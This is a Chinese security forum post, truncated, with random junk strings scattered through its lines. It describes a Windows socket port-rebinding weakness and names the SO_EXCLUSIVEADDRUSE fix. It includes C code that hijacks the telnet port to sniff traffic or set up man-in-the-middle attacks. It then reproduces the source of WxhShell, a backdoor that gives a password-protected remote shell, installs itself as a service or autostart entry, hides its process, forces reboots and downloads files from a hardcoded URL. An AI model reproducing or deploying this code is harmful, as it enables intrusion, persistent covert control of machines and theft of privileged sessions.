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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8Z4d<DIJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $^.LZ1Jd  
d;|e7$F'  
  saddr.sin_family = AF_INET; 8X!UtHml  
[z]@ <99/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p/:)Z_  
6`]R)i]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v'a]SpE5  
|A8Ar7)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =   
r42[pi]F  
  这意味着什么?意味着可以进行如下的攻击: a_^3:}i~D  
f_Y[I :  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n&i WYECz  
P!,\V\TY]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #^gn,^QQ  
p>Ju)o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l,1}1{k&  
9r fR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j?jEWreq]~  
?g}n$%*5y!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4};!nYey!  
: :uD%a zd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  @es}bKP  
/"- k ;jz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $|C%G6!s?@  
yUq,9.6Ig  
  #include *ys@ 'Ai?  
  #include 5>t&)g  
  #include 79~,KFct  
  #include    I}p uN!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xj&{M[k<  
  int main() d0>V^cB'?  
  { ~=Z&l  
  WORD wVersionRequested; K8pfk*NZ_@  
  DWORD ret; -WB? hmx  
  WSADATA wsaData; QBR9BR  
  BOOL val; G-G!c2o  
  SOCKADDR_IN saddr; Z_iu^ Q  
  SOCKADDR_IN scaddr; iv?'&IUfK  
  int err; i 6kW"5t  
  SOCKET s; iVd*62$@$  
  SOCKET sc; yrdJX  
  int caddsize; +o?.<[>!GR  
  HANDLE mt; F4k<YU  
  DWORD tid;   w eT33O"!1  
  wVersionRequested = MAKEWORD( 2, 2 ); HyiuU`  
  err = WSAStartup( wVersionRequested, &wsaData ); nUQcoSY#  
  if ( err != 0 ) { &"._%S58V  
  printf("error!WSAStartup failed!\n"); X;w1@4!  
  return -1; Sr)/ Mf  
  } ::dLOf8o  
  saddr.sin_family = AF_INET; `-D6:- ,w  
   =3{h9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~4U[p  50  
oZ& ns!#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >L$y|8 O  
  saddr.sin_port = htons(23); s^^X.z ,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5w gtc~  
  { Q#}} 1}Ja  
  printf("error!socket failed!\n"); Umm_FEU#]  
  return -1; %bt2^  
  } MKJ9PcVi  
  val = TRUE; e=%7tK*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (gNI6;P;}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C N"V w  
  { Vt5%A}.VQ  
  printf("error!setsockopt failed!\n"); rzDqfecOmW  
  return -1; Eof1sTpA  
  } )"WImf:*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T5z %X:VD(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7t\kof  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V{HZ/p_Y  
8q)2 )p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `-\4Dx1!q  
  { Z%`} `(  
  ret=GetLastError(); Q[i;I bY  
  printf("error!bind failed!\n"); x&l?Cfvv=  
  return -1; lBR6O!sBP  
  } BXa1 [7Z  
  listen(s,2); UIL5K   
  while(1) 8.o[K  
  { Al3Hu-Hf;`  
  caddsize = sizeof(scaddr); st{:] yTRk  
  //接受连接请求 %pc0a^iB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ve1jLjsB  
  if(sc!=INVALID_SOCKET) XEfTAW#7  
  { j*I0]!-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J6hWcA6 g  
  if(mt==NULL) 1|;WaO1Q  
  { jn^i4f>N  
  printf("Thread Creat Failed!\n"); Q&MZ/Nnf  
  break; U @|{RP  
  } 8hQ"rrj+  
  } #Q^mdv?  
  CloseHandle(mt); Cs^o- g!L  
  } HNY{%D  
  closesocket(s); r;y&Wa  
  WSACleanup(); (dpBGt@  
  return 0; (+Gd)iO  
  }   N?kXATB  
  DWORD WINAPI ClientThread(LPVOID lpParam) c[sC 2  
  { b[uTt'p}  
  SOCKET ss = (SOCKET)lpParam; Z B`!@/3X  
  SOCKET sc; Kw(/#C:$  
  unsigned char buf[4096]; S?r:=GS  
  SOCKADDR_IN saddr; ]}ff*W  
  long num; b=F"  
  DWORD val; A!Ng@r  
  DWORD ret; `*KS` z?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >6 :slNM#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bLCrh(<  
  saddr.sin_family = AF_INET; &VR<'^>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J0@m Ol  
  saddr.sin_port = htons(23); +O j28vR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xO/44D  
  { 5iG|C ~  
  printf("error!socket failed!\n"); k/H<UW?Z]  
  return -1; 1ikkm7  
  } ;r49H<z   
  val = 100; d;D^<-[i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q1r\ 60M  
  { tK g%5;v  
  ret = GetLastError(); xW/J ItF  
  return -1; 5c{=/}Y  
  } ++R-_oQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E4}MvV=  
  { hYi-F.Qtq  
  ret = GetLastError(); Z6K9E=%)c  
  return -1; >8t(qM-~:  
  } O5_E"um  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ovm*,La)g  
  { dXe763~<  
  printf("error!socket connect failed!\n"); ~i))Zc3,g\  
  closesocket(sc); m1\>v?=K  
  closesocket(ss); T1n GBl\(  
  return -1; *fSa8CV  
  } }9Y='+.%^  
  while(1) dam.D.o"  
  { U!3nn#!yE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6XFO@c}d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dMRwQejY{7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CrS[FM= +W  
  num = recv(ss,buf,4096,0); 1?7QS\`)fB  
  if(num>0) B^h]6Z/O  
  send(sc,buf,num,0); eFsku8$<  
  else if(num==0) oWs&W  
  break;  vFl|  
  num = recv(sc,buf,4096,0); _32ltnBX  
  if(num>0) !Z%QD\knY  
  send(ss,buf,num,0); A.35WGu&:  
  else if(num==0)  gxU(&  
  break; (>WV)  
  } *eUL1m8Y  
  closesocket(ss); 86R}G/>>e  
  closesocket(sc); q69a-5q  
  return 0 ; eZ}FKg%2[  
  } LwY_6[Ef  
m6lNZb]  
HFo}r~  
========================================================== [USXNe/  
7:bqh$3!s  
下边附上一个代码,,WXhSHELL (9Hc`gd)p  
@3VL _g:  
========================================================== {7(h%]  
H{yPi7 P  
#include "stdafx.h" hzKfYJcQ|  
(O?z6g  
#include <stdio.h> <6v7_  
#include <string.h> B-@f.NO/s  
#include <windows.h> <@JU0Z"a=  
#include <winsock2.h> #GWQ]r?  
#include <winsvc.h> [POy" O  
#include <urlmon.h> KxJJ?WyM  
$?*+P``  
#pragma comment (lib, "Ws2_32.lib") jLb3{}0  
#pragma comment (lib, "urlmon.lib") p,kJ#I  
tvFJ^5  
#define MAX_USER   100 // 最大客户端连接数 T,WWQm  
#define BUF_SOCK   200 // sock buffer ?W.Y x7c  
#define KEY_BUFF   255 // 输入 buffer xl# j_d,  
K VQZ  
#define REBOOT     0   // 重启 I,  
#define SHUTDOWN   1   // 关机 !Y\hF|[z  
HnOF_Twq  
#define DEF_PORT   5000 // 监听端口 /Zm@.%.  
<a$cB+t  
#define REG_LEN     16   // 注册表键长度 YRC`2)_'  
#define SVC_LEN     80   // NT服务名长度 NA0hQGN}  
3P #1fI(c  
// 从dll定义API z,2m7C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dt r'X@U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5O*+5n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i>!f|<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R^PQ`$W 'R  
RKj A`cJ  
// wxhshell配置信息 J4S2vBe16  
struct WSCFG { ?.4.Ubc\  
  int ws_port;         // 监听端口 7[u&%  
  char ws_passstr[REG_LEN]; // 口令 x;b'y4kH  
  int ws_autoins;       // 安装标记, 1=yes 0=no sjaG%f&h  
  char ws_regname[REG_LEN]; // 注册表键名 5R o5Cg~  
  char ws_svcname[REG_LEN]; // 服务名 ` -w;=_Bm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >fb*X'Zi%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \OY2|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8nZPY)o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }cS3mJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rNgE/=X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8|J%IE  
4Pz9&^K  
}; \!w7 N :m  
!r[uwJ=  
// default Wxhshell configuration i uN8gHx  
struct WSCFG wscfg={DEF_PORT, N0.-#Qa  
    "xuhuanlingzhe", ` $zi?A:j  
    1, sZB$+~.:}  
    "Wxhshell", c*ytUI *  
    "Wxhshell", >6rPDzW`Dx  
            "WxhShell Service", HX<5i>]0\u  
    "Wrsky Windows CmdShell Service", !).D  
    "Please Input Your Password: ", 9$)4C|  
  1, 7J 0!v q  
  "http://www.wrsky.com/wxhshell.exe", TF{ xFb)  
  "Wxhshell.exe" =)y=M!T2  
    }; ;)cl Cm46  
,u\M7,a^  
// 消息定义模块 @Z|cUHo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A Ys<IMQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h|jsi*4NnL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ){wE)NN  
char *msg_ws_ext="\n\rExit."; /8GVu7  
char *msg_ws_end="\n\rQuit."; >O?EFd>E  
char *msg_ws_boot="\n\rReboot...";  gZvl D  
char *msg_ws_poff="\n\rShutdown..."; S B'.   
char *msg_ws_down="\n\rSave to "; ^KlMBKWyB  
j~L{=ojz%  
char *msg_ws_err="\n\rErr!"; 43P?f+IYrk  
char *msg_ws_ok="\n\rOK!"; t`Hwq   
xpSMbX{e  
char ExeFile[MAX_PATH]; {v2Q7ZO-  
int nUser = 0; sRYFu%  
HANDLE handles[MAX_USER]; K}a[~  
int OsIsNt; l(<o,Uv[`  
UY|nB hL  
SERVICE_STATUS       serviceStatus; `aSz"4Wd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ag?@fuk$J  
rV1JJ.I  
// 函数声明 \hm=AGI0  
int Install(void); e`C'5`d]  
int Uninstall(void); 8-+IcyUza  
int DownloadFile(char *sURL, SOCKET wsh); &&>OhH`  
int Boot(int flag); ~j8x"  
void HideProc(void); 3RGVH,  
int GetOsVer(void); Nf3Kz#!B  
int Wxhshell(SOCKET wsl); 67J=#%\  
void TalkWithClient(void *cs); rJg! 2  
int CmdShell(SOCKET sock); Ai /a y# E  
int StartFromService(void); fe&K2C%bm  
int StartWxhshell(LPSTR lpCmdLine); lRentNg0b  
Kh%9Oy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tAaFIIvY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @BBqH&<`  
o&X!75^G>  
// 数据结构和表定义 kw1PIuz4&  
SERVICE_TABLE_ENTRY DispatchTable[] = < FN[{YsA  
{ fxyPh  
{wscfg.ws_svcname, NTServiceMain}, lN^L#m*@  
{NULL, NULL} _-&Au%QNJ`  
}; RdvJA:;q  
Zcdt\;HKr  
// 自我安装 {mI95g&  
int Install(void) E8)C_[QJ`  
{ OyTBgS G?a  
  char svExeFile[MAX_PATH]; z3>}(+  
  HKEY key; kgYa0 e5  
  strcpy(svExeFile,ExeFile); scrNnO[3j  
#~ / -n&#  
// 如果是win9x系统,修改注册表设为自启动 7gPkg63  
if(!OsIsNt) { zvD$N-#`p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c\-I+lMBi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N/^r9Nu  
  RegCloseKey(key); )Ax1?Nx$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }`*]&I[P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l-M~e]  
  RegCloseKey(key); K b{  
  return 0; L2Mcs  
    } Xhi9\wteYw  
  } ( R Ttz  
} {n |Ra[9_  
else { ^oPf>\),C  
~|fd=E%  
// 如果是NT以上系统,安装为系统服务 g.&&=T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |J~;yO SD  
if (schSCManager!=0) jh}[7M  
{ 8[xb+_  
  SC_HANDLE schService = CreateService O/0m|~`iY  
  ( + PGfQN  
  schSCManager, lE%0ifu  
  wscfg.ws_svcname, J]Uki*s  
  wscfg.ws_svcdisp, '{Iv?gh"  
  SERVICE_ALL_ACCESS, Rl$NiY?2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ud! iy  
  SERVICE_AUTO_START, ']4sx_)S  
  SERVICE_ERROR_NORMAL, {TlS)i`  
  svExeFile, M~P}80I  
  NULL, V#5BZU-  
  NULL, ~Kt.%K5lgt  
  NULL, }vp\lK P  
  NULL, <7u*OYjA  
  NULL J[]YG+r  
  ); .Ml}cE$L  
  if (schService!=0) Wh 8fC(BE  
  { e WcS>N  
  CloseServiceHandle(schService); e7 5*84  
  CloseServiceHandle(schSCManager); HJoPk'p%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); { \r{$<s  
  strcat(svExeFile,wscfg.ws_svcname); R.+Q K6B&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lvk(q\-f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  +loD{  
  RegCloseKey(key); IO|">a6  
  return 0; 4,T S1H  
    } KxK$Y.y]  
  } K)F;^)KDHf  
  CloseServiceHandle(schSCManager); [;#}BlbN  
} 3'*SSZmnOB  
} m9xO& @#vx  
(<2PhJ|  
return 1; +KXg&A/^  
} Q4q3M=0  
Oh-HfJyi  
// 自我卸载 Vc c/  
int Uninstall(void) lSl=6R  
{ > : \lDz  
  HKEY key; ^!N_Nx/M  
6z!?U:bT  
if(!OsIsNt) { 1JJQ(b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RLecKw&1{3  
  RegDeleteValue(key,wscfg.ws_regname); VA.:'yQtJ  
  RegCloseKey(key); vM|?;QM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n%W~+  
  RegDeleteValue(key,wscfg.ws_regname); EKq9m=Ua@o  
  RegCloseKey(key); M}3>5*!=  
  return 0; H?UmHww E  
  } pA4oy  
} )O2giVq7[0  
} CzST~*lH  
else { A)s  
om9fg66  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z!7#"wO9+V  
if (schSCManager!=0) 8H3|^J  
{ :Uj+iYE8Z8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W UDQb5k  
  if (schService!=0) .B_) w:oF  
  { 3($%AGKJ  
  if(DeleteService(schService)!=0) { :Y ~fPke  
  CloseServiceHandle(schService); Y(W>([59  
  CloseServiceHandle(schSCManager); RY&Wvkjh  
  return 0; ;' YM@n  
  } 1k3wBc 5<  
  CloseServiceHandle(schService); * t{A=Wk  
  } &*/8Ojv)9  
  CloseServiceHandle(schSCManager); E(>RmPP=7  
} [:TOU^  
} Bp>%'L  
L]9uY  
return 1; 9<}d98  
} C3hnX2";  
,]42v?  
// 从指定url下载文件 HE7JQP!q  
int DownloadFile(char *sURL, SOCKET wsh) gO1`zP!9Z  
{ 3zGxe-  
  HRESULT hr; ID E3>D  
char seps[]= "/"; F+v?2|03  
char *token; 4(|x@: wxm  
char *file; =-1d m+P  
char myURL[MAX_PATH]; O jr{z  
char myFILE[MAX_PATH]; K{t7_i#tv  
v/}M _E  
strcpy(myURL,sURL); wQlK[F]!>  
  token=strtok(myURL,seps); JrQ*.lJj  
  while(token!=NULL) G*3O5m  
  { ?)'j;1_=E3  
    file=token; #ZeZs31  
  token=strtok(NULL,seps); DNq=|?qn]  
  } o5 @ l!NQ  
Q!z g=_z-  
GetCurrentDirectory(MAX_PATH,myFILE); |wQ|h$|  
strcat(myFILE, "\\"); 7Ha +@  
strcat(myFILE, file); (zCas}YAKI  
  send(wsh,myFILE,strlen(myFILE),0); mc~d4<$`!  
send(wsh,"...",3,0); wJ/k\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yf2U-s  
  if(hr==S_OK) ]ta]OK{s"  
return 0; |j#x}8 [(  
else w%GEOIj}  
return 1; .3 m^yo c/  
~^w;`~L  
} ? D2:'gg  
]SFB_5Gb  
// 系统电源模块 GGo nA  
int Boot(int flag) "=MRzSke3  
{ kG:uXbUI'  
  HANDLE hToken;  # G0jMQ  
  TOKEN_PRIVILEGES tkp; l5l:'EY>  
*ukE"Aj  
  if(OsIsNt) { oIAP dn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QA+qFP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q]`XUGC  
    tkp.PrivilegeCount = 1; 3^xTZ*G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k?o(j/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I)U|~N  
if(flag==REBOOT) { .ss/E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "|gNNmr  
  return 0; bT@3fuL4  
} P"cc$lB~I  
else { hS OAjS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #E3Y; b%v  
  return 0; aqK<}jy  
} iL\<G} I  
  } &$ia#j{l  
  else { aF;Q SI  
if(flag==REBOOT) { jt@k< #h~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P`v%< 9~  
  return 0; L!|c: 8  
} XwOj`N{!H  
else { o6P)IZ1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^ D/:[  
  return 0; MW &iNioX  
} J0~Ha u  
} ,ic.b @u1  
~ T|?!zML  
return 1; t \kI( G  
} w4<RV:Vmt  
XsQ?&xK=u  
// win9x进程隐藏模块 QHUoAa`6v  
void HideProc(void) m/5:-xL31  
{ B<T wTv  
O%AQ'['  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3b (I~  
  if ( hKernel != NULL ) 79AOvh  
  {  P 1X8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /0>Cy\eN0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MoIVval/  
    FreeLibrary(hKernel); RAxAy{  
  } CTv-$7#  
[RiCa  
return; MM"{ehd{^a  
} a.L ?J  
X!2/cgU7  
// 获取操作系统版本 U-6b><  
int GetOsVer(void) )zkk%mE/IM  
{ <v&>&;>3  
  OSVERSIONINFO winfo; R;,+0r^i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }rz}>((ZHF  
  GetVersionEx(&winfo); yHT8I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^n"ve2   
  return 1; ~T7\lJ{%G  
  else  S =!3t`  
  return 0; {<5rbsqk  
} \/I@&$"F  
/ Li?;H  
// 客户端句柄模块 nqg=I  
int Wxhshell(SOCKET wsl) ,~`R{,N`  
{ 9]r6V   
  SOCKET wsh; ymT&[+V  
  struct sockaddr_in client; &ok2Xw  
  DWORD myID; a*o#,T5A  
}@_F( B  
  while(nUser<MAX_USER) ;?"2sS!AHQ  
{ js/N qf2>  
  int nSize=sizeof(client); T.H S.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x>m_ v  
  if(wsh==INVALID_SOCKET) return 1; #8z2>&:|  
r5t C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gt{~u^<  
if(handles[nUser]==0) !>W _3Ea  
  closesocket(wsh); w+(bkqz]  
else i{?uIb B  
  nUser++; /\"=egB9  
  } -&oJ@Aa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `ySLic`  
zFmoo4P/  
  return 0; RNE} )B  
} kaQn'5  
m!L&_ Z|j  
// 关闭 socket %?1k}(qUeY  
void CloseIt(SOCKET wsh) )"s <hR ,  
{ eL[BH8l  
closesocket(wsh); h lD0^8S  
nUser--; @ 6w\q?.s  
ExitThread(0); w?|gJ*B"  
} WDNuR #J?  
=t\HtAXn[  
// 客户端请求句柄 $q);xs  
void TalkWithClient(void *cs) +K,]#$k  
{ P#]%C  
%b<cJ]F  
  SOCKET wsh=(SOCKET)cs; ?NoG.  
  char pwd[SVC_LEN]; gF+Uj( d  
  char cmd[KEY_BUFF]; !%>p;H%0  
char chr[1]; PB*m D7"  
int i,j; /co^swz  
CKeT%3  
  while (nUser < MAX_USER) { '+LC.lM  
tYK 5?d  
if(wscfg.ws_passstr) { ,r!_4|\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l?LwQmq6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oY{L0B[  
  //ZeroMemory(pwd,KEY_BUFF); *}DCxv  
      i=0; &[ejxK"  
  while(i<SVC_LEN) { 2'UWPZgE  
Rqu_[M  
  // 设置超时 ('QfB<4H1  
  fd_set FdRead; i;>Yx#  
  struct timeval TimeOut; 8`l bKV  
  FD_ZERO(&FdRead); :1NF#-2\f  
  FD_SET(wsh,&FdRead); (+lw t  
  TimeOut.tv_sec=8; ~'k.'O{  
  TimeOut.tv_usec=0; o<Hk/e~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {Hg.ctam  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 97;`R[^J  
N K.]yw'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \7o&'zEw  
  pwd=chr[0]; qC]6g  
  if(chr[0]==0xd || chr[0]==0xa) { P0,@#M&  
  pwd=0; Lq<#  
  break; Ib3n%AG  
  } 1S .~Vh0Q,  
  i++; 1\K%^<QY  
    } ]  }XsP  
y5gTd_-  
  // 如果是非法用户,关闭 socket q9 !)YP+w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <=2\xJfxB  
} ~Ry?}5&:  
FY1 >{Bn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9cQZ`Ex  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =?hGa;/rb  
},<(VhP  
while(1) { %X)w$}WH  
Q'D%?Vg'  
  ZeroMemory(cmd,KEY_BUFF); 6jz6   
%i[G6+-  
      // 自动支持客户端 telnet标准   d^AXhQjQN-  
  j=0; ~.\CG'g  
  while(j<KEY_BUFF) { u*LMpTnn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;>YLL}]j  
  cmd[j]=chr[0]; @$o.Z;83`r  
  if(chr[0]==0xa || chr[0]==0xd) { h$ ]=z\=  
  cmd[j]=0; l12Pj02w  
  break; #pDWwnP[rt  
  } /,#HGu]q'  
  j++; H&0dc.n~.  
    } >G `Uc&=  
ZYf0FC=-  
  // 下载文件 Mkc   
  if(strstr(cmd,"http://")) { rD ^ b{]E3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R]L$Ld< ij  
  if(DownloadFile(cmd,wsh)) pK/r{/>r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oihn`DY {  
  else iF0x>pvJ@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+6`]]  
  } `b.KMOn  
  else { Q> OBK&'  
y~eQVnH5W  
    switch(cmd[0]) { $aIq>vJO9  
  c:? tn  
  // 帮助 02+ k,xFb  
  case '?': { UYOveQ;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  rvP Y  
    break; .tRp  
  } ?w/i;pp<,  
  // 安装 3(?V!y{@  
  case 'i': { S)`%clN}J  
    if(Install()) \0bao<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I$yFCdXr  
    else L TsX{z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EL/~c*a/  
    break;  C=k]g  
    } s0EF{2<F  
  // 卸载 (^),G-]  
  case 'r': {  S(* u_  
    if(Uninstall()) YF)uAJAk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); barY13)$U  
    else U1oZ\Mh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )I&,kH)+  
    break; YCMXF#1  
    } @q(sig00nr  
  // 显示 wxhshell 所在路径 (*6kYkUK  
  case 'p': { v*Dz4K#  
    char svExeFile[MAX_PATH]; r>o#h+'AV  
    strcpy(svExeFile,"\n\r"); }o9fpo|  
      strcat(svExeFile,ExeFile); ,$4f#)  
        send(wsh,svExeFile,strlen(svExeFile),0); )-jA4!&  
    break; LpV2XL$p>#  
    } 10gh4,z[  
  // 重启  Vv|%;5(  
  case 'b': { <I 5F@pe'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w; rQ\gj  
    if(Boot(REBOOT)) &|]GTN`E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/E$0tf  
    else { /-FvC^Fj  
    closesocket(wsh); Qk5pRoL_  
    ExitThread(0); 'sII/sq`(  
    } :}B=Bk/q  
    break; +mu.W r  
    } |XGj97#M  
  // 关机 Q L 1e  
  case 'd': { '}$]V>/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xh5&J9pw   
